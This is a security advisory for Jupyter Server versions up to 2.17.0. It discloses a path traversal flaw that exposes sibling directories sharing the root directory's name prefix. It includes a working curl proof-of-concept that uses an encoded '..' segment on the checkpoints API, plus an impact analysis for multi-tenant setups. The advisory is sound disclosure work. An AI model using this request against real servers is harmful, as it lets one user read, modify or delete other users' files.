Affected: PyPI: jupyter-server

### Summary

Jupyter Server <=2.17.0 can access directories sibling to the root directory, if it starts with the root dir's name.

### PoC

Minimal:

``` . ├── test/ <- root directory. │ └── test.txt └── testtest/ └── secret.txt <- file to exfiltrate that we should not be able to access via API ```

```bash HOST="http://localhost:8888" TOKEN="" SIBLING="testtest" TARGET="secret.txt"

curl -s -X POST \ "$HOST/api/contents/%2e%2e/$SIBLING/$TARGET/checkpoints" \ -H "Authorization: token $TOKEN" ```

Full PoC by @stef41: https://gist.github.com/Yann-P/66d4982a965dee8fcb8dd89db29e7006

### Impact

It is possible for an authenticated user to access content outside the server's `root_dir` in siblings directories sharing the same prefix as the `root_dir`. The attacker can escalate access, reading, writing, and deleting from sibling directories.

This can have a tangible impact for deployments using predictable naming scheme with multi-tenant server, for example `user1`, `user2`, `user3`, ..., `user10` etc, as `user1` could access and modify files of all `user10` - `user19` and higher.

In a hypothetical system where users can choose a name of their folder, an attacker could choose a single-letter username to gain access to a significant number of sibling directories.

### Workarounds

Use folder names that do not overlap.

### Acknowledgments

Thank you to @stef41 for providing a useful PoC.